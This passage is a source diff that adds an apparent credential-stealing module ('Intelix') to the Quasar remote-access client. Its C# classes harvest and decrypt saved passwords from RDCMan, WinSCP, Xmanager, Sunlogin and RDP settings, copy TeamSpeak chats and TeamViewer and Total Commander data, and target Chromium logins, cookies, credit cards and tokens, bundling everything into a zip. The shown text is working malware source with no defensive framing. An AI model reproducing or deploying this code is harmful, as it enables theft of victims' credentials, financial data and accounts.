xmlDocument.LoadXml(File.ReadAllText(path)); + XmlNodeList xmlNodeList = xmlDocument.SelectNodes("//FilesToOpen"); + if (xmlNodeList != null) + { + foreach (XmlNode item in xmlNodeList) + { + string innerText = item.InnerText; + if (!string.IsNullOrEmpty(innerText) && !list.Contains(innerText)) + { + list.Add(innerText); + } + } + } + if (!list.Any()) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "RDCMan"; + StringBuilder stringBuilder = new StringBuilder(); + foreach (string item2 in list) + { + if (!File.Exists(item2)) + { + continue; + } + string text = "RDCMan\\" + Path.GetFileName(item2); + zip.AddFile(text, File.ReadAllBytes(item2)); + counterApplications.Files.Add(item2 + " => " + text); + XmlDocument xmlDocument2 = new XmlDocument(); + xmlDocument2.LoadXml(File.ReadAllText(item2)); + XmlNodeList xmlNodeList2 = xmlDocument2.SelectNodes("//server"); + if (xmlNodeList2 == null || xmlNodeList2.Count == 0) + { + continue; + } + stringBuilder.AppendLine("SourceFile: " + item2); + stringBuilder.AppendLine($"Found servers: {xmlNodeList2.Count}"); + stringBuilder.AppendLine(); + foreach (XmlNode item3 in xmlNodeList2) + { + string text2 = string.Empty; + string text3 = string.Empty; + string text4 = string.Empty; + string text5 = string.Empty; + string text6 = string.Empty; + foreach (XmlNode item4 in item3) + { + foreach (XmlNode item5 in item4) + { + switch (item5.Name) + { + case "name": + text2 = item5.InnerText; + break; + case "profileName": + text3 = item5.InnerText; + break; + case "userName": + text4 = item5.InnerText; + break; + case "password": + text5 = item5.InnerText; + break; + case "domain": + text6 = item5.InnerText; + break; + } + } + } + if (!string.IsNullOrEmpty(text5)) + { + string text7 = DecryptPassword(text5); + stringBuilder.AppendLine("----"); + stringBuilder.AppendLine("HostName: " + text2); + stringBuilder.AppendLine("ProfileName: " + text3); + stringBuilder.AppendLine("UserName: " + (string.IsNullOrEmpty(text6) ? text4 : (text6 + "\\" + text4))); + stringBuilder.AppendLine("DecryptedPassword: " + text7); + stringBuilder.AppendLine(); + } + } + string text8 = "RDCMan\\" + Path.GetFileName(item2) + "\\credentials.txt"; + zip.AddTextFile(text8, stringBuilder.ToString()); + counterApplications.Files.Add(text8 ?? ""); + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("RDCMan\\"); + counter.Applications.Add(counterApplications); + } + } + + private string DecryptPassword(string password) + { + byte[] array = DpApi.Decrypt(Convert.FromBase64String(password)); + if (array == null) + { + return string.Empty; + } + return Encoding.UTF8.GetString(array).TrimEnd(default(char)); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Rdp.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Rdp.cs new file mode 100755 index 0000000..2f3ed00 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Rdp.cs @@ -0,0 +1,103 @@ +using System; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class Rdp : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "Software\\Microsoft\\Terminal Server Client"; + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); + if (registryKey == null) + { + return; + } + string text2 = "Rdp"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "RDP"; + RegistryKey registryKey2 = registryKey.OpenSubKey("Default"); + if (registryKey2 != null) + { + StringBuilder stringBuilder = new StringBuilder(); + string[] valueNames = registryKey2.GetValueNames(); + foreach (string name in valueNames) + { + try + { + object value = registryKey2.GetValue(name); + if (value != null) + { + stringBuilder.AppendLine(value.ToString()); + } + } + catch + { + } + } + if (stringBuilder.Length > 0) + { + string text3 = text2 + "\\History.txt"; + byte[] bytes = Encoding.UTF8.GetBytes(stringBuilder.ToString() + "\n"); + zip.AddFile(text3.Replace('\\', '/'), bytes); + counterApplications.Files.Add(text + "\\Default => " + text3.Replace('\\', '/')); + } + } + RegistryKey registryKey3 = registryKey.OpenSubKey("Servers"); + if (registryKey3 != null) + { + StringBuilder stringBuilder2 = new StringBuilder(); + string[] valueNames = registryKey3.GetSubKeyNames(); + foreach (string text4 in valueNames) + { + try + { + RegistryKey registryKey4 = registryKey3.OpenSubKey(text4); + if (registryKey4 == null) + { + continue; + } + stringBuilder2.AppendLine(text4 + ":"); + string[] valueNames2 = registryKey4.GetValueNames(); + foreach (string text5 in valueNames2) + { + try + { + object value2 = registryKey4.GetValue(text5); + if (value2 is byte[] array) + { + string text6 = BitConverter.ToString(array).Replace("-", ""); + stringBuilder2.AppendLine(text5 + ": " + text6); + } + else + { + stringBuilder2.AppendLine($"{text5}: {value2}"); + } + } + catch + { + } + } + stringBuilder2.AppendLine(); + } + catch + { + } + } + if (stringBuilder2.Length > 0) + { + string text7 = text2 + "\\Credentials.txt"; + byte[] bytes2 = Encoding.UTF8.GetBytes(stringBuilder2.ToString()); + zip.AddFile(text7.Replace('\\', '/'), bytes2); + counterApplications.Files.Add(text + "\\Servers => " + text7.Replace('\\', '/')); + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Sunlogin.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Sunlogin.cs new file mode 100755 index 0000000..0439133 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Sunlogin.cs @@ -0,0 +1,101 @@ +using System; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class Sunlogin : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string name = "SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\Oray SunLogin RemoteClient"; + string name2 = ".DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginGreenInfo"; + string name3 = ".DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginInfo"; + StringBuilder sb = new StringBuilder(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Sunlogin"; + RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name); + RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(name2); + RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey(name3); + if (registryKey != null) + { + string path = Path.Combine(Registry.LocalMachine.OpenSubKey(name).GetValue("InstallLocation").ToString(), "config.ini"); + string text = (File.Exists(path) ? File.ReadAllText(path) : string.Empty); + string fastcode = string.Empty; + string encry_pwd = string.Empty; + string sunlogincode = string.Empty; + if (!string.IsNullOrEmpty(text)) + { + fastcode = Regex.Match(text, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + encry_pwd = Regex.Match(text, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + sunlogincode = Regex.Match(text, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + } + AppendFound("registry_install", path, fastcode, encry_pwd, sunlogincode); + } + else if (registryKey2 != null) + { + string fastcode2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_fastcode").ToString(); + string encry_pwd2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_encry_pwd").ToString(); + string sunlogincode2 = Registry.LocalMachine.OpenSubKey(name2).GetValue("base_sunlogincode").ToString(); + AppendFound("registry_greeninfo", string.Empty, fastcode2, encry_pwd2, sunlogincode2); + } + else if (registryKey3 != null) + { + string fastcode3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_fastcode").ToString(); + string encry_pwd3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_encry_pwd").ToString(); + string sunlogincode3 = Registry.LocalMachine.OpenSubKey(name3).GetValue("base_sunlogincode").ToString(); + AppendFound("registry_info", string.Empty, fastcode3, encry_pwd3, sunlogincode3); + } + string path2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Oray", "SunloginClient", "config.ini"); + if (File.Exists(path2)) + { + string input = File.ReadAllText(path2); + string value = Regex.Match(input, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value2 = Regex.Match(input, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value3 = Regex.Match(input, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + AppendFound("programdata", path2, value, value2, value3); + } + string path3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Oray", "SunloginClientLite", "sys_lite_config.ini"); + if (File.Exists(path3)) + { + string input2 = File.ReadAllText(path3); + string value4 = Regex.Match(input2, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value5 = Regex.Match(input2, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value6 = Regex.Match(input2, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + AppendFound("user_roaming", path3, value4, value5, value6); + } + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System).Substring(0, 3) + "\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming\\Oray\\SunloginClient\\sys_config.ini"); + string path4 = "C:\\\\Windows\\\\system32\\\\config\\\\systemprofile\\\\AppData\\\\Roaming\\\\Oray\\\\SunloginClient\\\\sys_config.ini"; + if (File.Exists(path4)) + { + string input3 = File.ReadAllText(path4); + string value7 = Regex.Match(input3, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value8 = Regex.Match(input3, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value9 = Regex.Match(input3, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; + AppendFound("systemprofile", path4, value7, value8, value9); + } + if (sb.Length > 0) + { + string text2 = "Sunlogin\\info.txt"; + zip.AddTextFile(text2, sb.ToString()); + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + void AppendFound(string source, string text3, string text4, string text5, string text6) + { + sb.AppendLine("Source: " + source); + if (!string.IsNullOrEmpty(text3)) + { + sb.AppendLine("Path: " + text3); + counterApplications.Files.Add(text3 + " => Sunlogin\\info.txt"); + } + sb.AppendLine("Fastcode: " + text4); + sb.AppendLine("Encry_pwd: " + text5); + sb.AppendLine("Sunlogincode: " + text6); + sb.AppendLine(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamSpeak.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamSpeak.cs new file mode 100755 index 0000000..f2180e6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamSpeak.cs @@ -0,0 +1,92 @@ +using System; +using System.IO; +using System.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class TeamSpeak : ITarget +{ + private readonly bool _collectChannelChats = true; + + private readonly bool _collectServerLogs = true; + + private readonly long _minFileSize = 50L; + + public void Collect(InMemoryZip zip, Counter counter) + { + string text = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "TeamSpeak 3 Client"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "TeamSpeak 3 Client") + }.FirstOrDefault(Directory.Exists); + if (string.IsNullOrEmpty(text)) + { + return; + } + string path = Path.Combine(text, "config", "chats"); + if (!Directory.Exists(path)) + { + return; + } + string[] directories = Directory.GetDirectories(path); + if (directories == null || directories.Length == 0) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "TeamSpeak"; + int num = 1; + string[] array = directories; + for (int i = 0; i < array.Length; i++) + { + string[] array2 = Directory.EnumerateFiles(array[i], "*.txt", SearchOption.TopDirectoryOnly).Where(delegate(string f) + { + string fileName = Path.GetFileName(f); + if (string.IsNullOrEmpty(fileName)) + { + return false; + } + if (!_collectChannelChats && fileName.StartsWith("channel", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + if (!_collectServerLogs && fileName.StartsWith("server", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + try + { + return new FileInfo(f).Length >= _minFileSize; + } + catch + { + return false; + } + }).ToArray(); + if (array2.Length == 0) + { + continue; + } + string[] array3 = array2; + foreach (string text2 in array3) + { + try + { + string text3 = $"TeamSpeak\\{num}\\" + Path.GetFileName(text2); + zip.AddFile(text3, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text3); + } + catch + { + } + } + num++; + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("TeamSpeak\\"); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamViewer.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamViewer.cs new file mode 100755 index 0000000..14a2202 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamViewer.cs @@ -0,0 +1,33 @@ +using System.Collections.Generic; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class TeamViewer : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new List(); + using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\TeamViewer")) + { + list.AddRange(RegistryParser.ParseKey(key)); + } + using (RegistryKey key2 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\TeamViewer", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key2)); + } + if (list.Any()) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "TeamViewer"; + string text = "TeamViewer\\Registry.txt"; + zip.AddTextFile(text, string.Join("\n", list)); + counterApplications.Files.Add("SOFTWARE\\TeamViewer => " + text); + counterApplications.Files.Add(text); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TotalCommander.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TotalCommander.cs new file mode 100755 index 0000000..0a10d94 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TotalCommander.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class TotalCommander : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "GHISLER", "wcx_ftp.ini"); + if (File.Exists(text)) + { + string text2 = "Total Commander\\wcx_ftp.ini"; + zip.AddFile(text2, File.ReadAllBytes(text)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Total Commander"; + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/WinSCP.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/WinSCP.cs new file mode 100755 index 0000000..dde4e36 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/WinSCP.cs @@ -0,0 +1,125 @@ +using System.Collections.Generic; +using System.Linq; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class WinSCP : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new List(); + List list2 = new List(); + try + { + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Martin Prikryl\\WinSCP 2\\Sessions"); + if (registryKey == null) + { + return; + } + string[] subKeyNames = registryKey.GetSubKeyNames(); + foreach (string text in subKeyNames) + { + string text2 = "Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + text; + using RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(text2); + if (registryKey2 != null) + { + string text3 = registryKey2.GetValue("HostName")?.ToString(); + if (!string.IsNullOrWhiteSpace(text3)) + { + string text4 = registryKey2.GetValue("UserName")?.ToString(); + string pass = registryKey2.GetValue("Password")?.ToString(); + string text5 = DecryptPassword(text4, pass, text3); + string text6 = registryKey2.GetValue("PortNumber")?.ToString(); + list.Add("Session: " + text + "\nUrl: " + text3 + ":" + text6 + "\nUsername: " + text4 + "\nPassword: " + text5); + list2.Add("HKEY_CURRENT_USER\\" + text2); + } + } + } + } + catch + { + } + if (list.Count <= 0) + { + return; + } + string text7 = "FTP/WinSCP/Sessions.txt"; + zip.AddTextFile(text7, string.Join("\n\n", list)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "WinSCP"; + foreach (string item in list2) + { + counterApplications.Files.Add(item + " => " + text7); + } + counterApplications.Files.Add(text7); + counter.Applications.Add(counterApplications); + } + + private static int DecryptNextChar(List charList) + { + return 0xFF ^ ((((int.Parse(charList[0]) << 4) + int.Parse(charList[1])) ^ 0xA3) & 0xFF); + } + + private static string DecryptPassword(string user, string pass, string host) + { + if (string.IsNullOrEmpty(user) || string.IsNullOrEmpty(pass) || string.IsNullOrEmpty(host)) + { + return ""; + } + try + { + List list = pass.Select((char c) => c.ToString()).ToList(); + List list2 = new List(); + foreach (string item in list) + { + switch (item) + { + case "A": + list2.Add("10"); + break; + case "B": + list2.Add("11"); + break; + case "C": + list2.Add("12"); + break; + case "D": + list2.Add("13"); + break; + case "E": + list2.Add("14"); + break; + case "F": + list2.Add("15"); + break; + default: + list2.Add(item); + break; + } + } + if (DecryptNextChar(list2) == 255) + { + DecryptNextChar(list2); + } + list2.RemoveRange(0, 4); + int num = DecryptNextChar(list2); + list2.RemoveRange(0, 2); + int count = DecryptNextChar(list2) * 2; + list2.RemoveRange(0, count); + string text = ""; + for (int num2 = 0; num2 < num; num2++) + { + text += (char)DecryptNextChar(list2); + list2.RemoveRange(0, 2); + } + string oldValue = user + host; + return text.Replace(oldValue, ""); + } + catch + { + return ""; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Xmanager.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Xmanager.cs new file mode 100755 index 0000000..88034bb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Xmanager.cs @@ -0,0 +1,136 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Security.Principal; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class Xmanager : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + WindowsIdentity current = WindowsIdentity.GetCurrent(); + string sid = current.User.ToString(); + DirectoryInfo root = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Personal)); + List source = Search(root); + ConcurrentBag lines = new ConcurrentBag(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Xmanager"; + Parallel.ForEach(source, delegate(string sessionFile) + { + List list = ReadConfigFile(sessionFile); + if (list.Count >= 4) + { + string text2 = list[0]?.Trim() ?? ""; + string text3 = list[1] ?? ""; + string text4 = list[2] ?? ""; + string text5 = list[3] ?? ""; + string text6 = " Version : " + text2 + "\n"; + text6 = text6 + " Host : " + text3 + "\n"; + text6 = text6 + " User : " + text4 + "\n"; + text6 = text6 + " RawPass : " + text5 + "\n"; + string text7 = DecryptToString(text4, sid, text5, text2); + text6 = text6 + " Decrypted: " + text7 + "\n\n"; + lines.Add(text6); + counterApplications.Files.Add(sessionFile + " => Xmanager\\sessions.txt"); + } + }); + if (lines.Any()) + { + string text = "Xmanager\\sessions.txt"; + zip.AddTextFile(text, string.Concat(lines)); + counterApplications.Files.Add(text); + counter.Applications.Add(counterApplications); + } + } + + private List Search(DirectoryInfo root) + { + List list = new List(); + if (!root.Exists) + { + return list; + } + Stack stack = new Stack(); + stack.Push(root); + while (stack.Count > 0) + { + DirectoryInfo directoryInfo = stack.Pop(); + try + { + FileInfo[] files = directoryInfo.GetFiles(); + for (int i = 0; i < files.Length; i++) + { + string fullName = files[i].FullName; + if (fullName.EndsWith(".xsh", StringComparison.OrdinalIgnoreCase) || fullName.EndsWith(".xfp", StringComparison.OrdinalIgnoreCase)) + { + list.Add(fullName); + } + } + DirectoryInfo[] directories = directoryInfo.GetDirectories(); + foreach (DirectoryInfo item in directories) + { + stack.Push(item); + } + } + catch + { + } + } + return list; + } + + private List ReadConfigFile(string path) + { + string input = File.ReadAllText(path); + string value = Regex.Match(input, "Version=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value2 = Regex.Match(input, "Host=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value3 = Regex.Match(input, "UserName=(.*)", RegexOptions.Multiline).Groups[1].Value; + string value4 = Regex.Match(input, "Password=(.*)", RegexOptions.Multiline).Groups[1].Value; + List list = new List { value, value2, value3 }; + if (!string.IsNullOrEmpty(value4) && value4.Length > 3) + { + list.Add(value4); + } + return list; + } + + private string DecryptToString(string username, string sid, string rawPass, string ver) + { + byte[] array = Convert.FromBase64String(rawPass); + byte[] key; + if (ver.StartsWith("5.0") || ver.StartsWith("4") || ver.StartsWith("3") || ver.StartsWith("2")) + { + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes("!X@s#h$e%l^l&")); + } + else if (ver.StartsWith("5.1") || ver.StartsWith("5.2")) + { + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(sid)); + } + else if (ver.StartsWith("5") || ver.StartsWith("6") || ver.StartsWith("7.0")) + { + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(username + sid)); + } + else + { + string s = new string((new string(username.ToCharArray().Reverse().ToArray()) + sid).ToCharArray().Reverse().ToArray()); + key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(s)); + } + byte[] array2 = new byte[array.Length - 32]; + Array.Copy(array, 0, array2, 0, array2.Length); + byte[] array3 = RC4Crypt.Decrypt(key, array2); + if (array3 == null) + { + return string.Empty; + } + return Encoding.ASCII.GetString(array3); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Chromium.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Chromium.cs new file mode 100755 index 0000000..8359261 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Chromium.cs @@ -0,0 +1,851 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Intelix.Helper.Sql; + +namespace Intelix.Targets.Browsers; + +public class Chromium : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Chromium, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + ProfileCollect(zip, counter, browser, profile); + }); + } + }); + } + + private void ProfileCollect(InMemoryZip zip, Counter counter, string browser, string profile) + { + string localstate = browser + "\\Local State"; + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + byte[] masterv10 = LocalState.MasterKeyV10(localstate); + byte[] masterv20 = LocalState.MasterKeyV20(localstate); + Counter.CounterBrowser counterBrowser = new Counter.CounterBrowser(); + counterBrowser.Profile = profile; + counterBrowser.BrowserName = browsername; + object[][] source = new object[7][] + { + new object[3] + { + "Login Data", + Path.Combine(profile, "Login Data"), + new string[1] { "logins" } + }, + new object[3] + { + "Login Data For Account", + Path.Combine(profile, "Login Data For Account"), + new string[1] { "logins" } + }, + new object[3] + { + "Network Cookies", + Path.Combine(profile, "Network", "Cookies"), + new string[1] { "cookies" } + }, + new object[3] + { + "Cookies", + Path.Combine(profile, "Cookies"), + new string[1] { "cookies" } + }, + new object[3] + { + "Web Data", + Path.Combine(profile, "Web Data"), + new string[5] { "AutoFill", "credit_cards", "token_service", "masked_credit_cards", "masked_ibans" } + }, + new object[3] + { + "Ya Passman Data", + Path.Combine(profile, "Ya Passman Data"), + new string[1] { "logins" } + }, + new object[3] + { + "Ya Credit Cards", + Path.Combine(profile, "Ya Credit Cards"), + new string[1] { "records" } + } + }; + Dictionary> handlers = new Dictionary>(StringComparer.OrdinalIgnoreCase) + { + { + "Login Data/logins", + delegate(SqLite sSqLite) + { + Password(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Login Data For Account/logins", + delegate(SqLite sSqLite) + { + Password(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Cookies/cookies", + delegate(SqLite sSqLite) + { + Cookies(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Network Cookies/cookies", + delegate(SqLite sSqLite) + { + Cookies(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/AutoFill", + delegate(SqLite sSqLite) + { + AutoFill(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/credit_cards", + delegate(SqLite sSqLite) + { + CreditCards(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/token_service", + delegate(SqLite sSqLite) + { + TokenRestore(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/masked_credit_cards", + delegate(SqLite sSqLite) + { + MaskCreditCards(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Web Data/masked_ibans", + delegate(SqLite sSqLite) + { + MaskedIbans(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Ya Passman Data/logins", + delegate(SqLite sSqLite) + { + YandexPassword(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + }, + { + "Ya Credit Cards/records", + delegate(SqLite sSqLite) + { + YandexGetCard(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20); + } + } + }; + Parallel.ForEach(source, delegate(object[] file) + { + string name = (string)file[0]; + string path = (string)file[1]; + string[] source2 = (string[])file[2]; + if (File.Exists(path)) + { + byte[] bytes; + try + { + bytes = File.ReadAllBytes(path); + } + catch + { + return; + } + Parallel.ForEach(source2, delegate(string table) + { + try + { + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable(table); + string key = name + "/" + table; + if (handlers.TryGetValue(key, out var value)) + { + value(sqLite); + } + } + catch + { + } + }); + } + }); + Task.Run(delegate + { + CollectAdditionalData(zip, counterBrowser, browser, profile, profilename, browsername, masterv10, masterv20); + }); + + if ((long)counterBrowser.Cookies != 0L || (long)counterBrowser.Password != 0L || (long)counterBrowser.CreditCards != 0L || (long)counterBrowser.AutoFill != 0L || (long)counterBrowser.RestoreToken != 0L || (long)counterBrowser.MaskCreditCard != 0L || (long)counterBrowser.MaskedIban != 0L) + { + counter.Browsers.Add(counterBrowser); + } + } + + private void CollectAdditionalData(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string browser, string profile, string profilename, string browsername, byte[] masterv10, byte[] masterv20) + { + try + { + Bookmarks(zip, profile, profilename, browsername); + History(zip, profile, profilename, browsername); + Download(zip, profile, profilename, browsername); + FingerPrint(zip, profile, profilename, browsername); + GoogleAccounts(zip, profile, profilename, browsername, masterv10, masterv20); + MasterKeys(zip, browser, profilename, browsername); + SaveBrowserPath(zip, profile, profilename, browsername); + UA(zip, profile, profilename, browsername); + Version(zip, browser, profilename, browsername); + } + catch + { + } + } + + private void Bookmarks(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string bookmarksPath = Path.Combine(profile, "Bookmarks"); + if (File.Exists(bookmarksPath)) + { + string content = File.ReadAllText(bookmarksPath); + MatchCollection matches = Regex.Matches(content, "\"url\"\\s*:\\s*\"([^\"]+)\"|\"name\"\\s*:\\s*\"([^\"]+)\"", RegexOptions.IgnoreCase); + StringBuilder sb = new StringBuilder(); + string currentUrl = string.Empty; + foreach (Match match in matches) + { + if (match.Groups[1].Success) + { + currentUrl = match.Groups[1].Value; + } + else if (match.Groups[2].Success && !string.IsNullOrEmpty(currentUrl)) + { + sb.AppendLine("URL: " + currentUrl); + sb.AppendLine("Title: " + match.Groups[2].Value); + sb.AppendLine("==============="); + currentUrl = string.Empty; + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/Bookmarks/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void History(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + { + string historyPath = Path.Combine(profile, "History"); + if (File.Exists(historyPath)) + { + byte[] bytes = File.ReadAllBytes(historyPath); + SqLite sqLite = new SqLite(bytes); + sqLite.ReadTable("urls"); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + try + { + string url = sqLite.GetValue(i, 1); + if (!string.IsNullOrEmpty(url)) + { + sb.AppendLine(url); + } + } + catch + { + } + } + if (sb.Length > 0) + { + zip.AddTextFile("Browser/History/" + browsername + "_" + profilename + ".txt", sb.ToString()); + } + } + } + catch + { + } + } + + private void Download(InMemoryZip zip, string profile, string profilename, string browsername) + { + try + 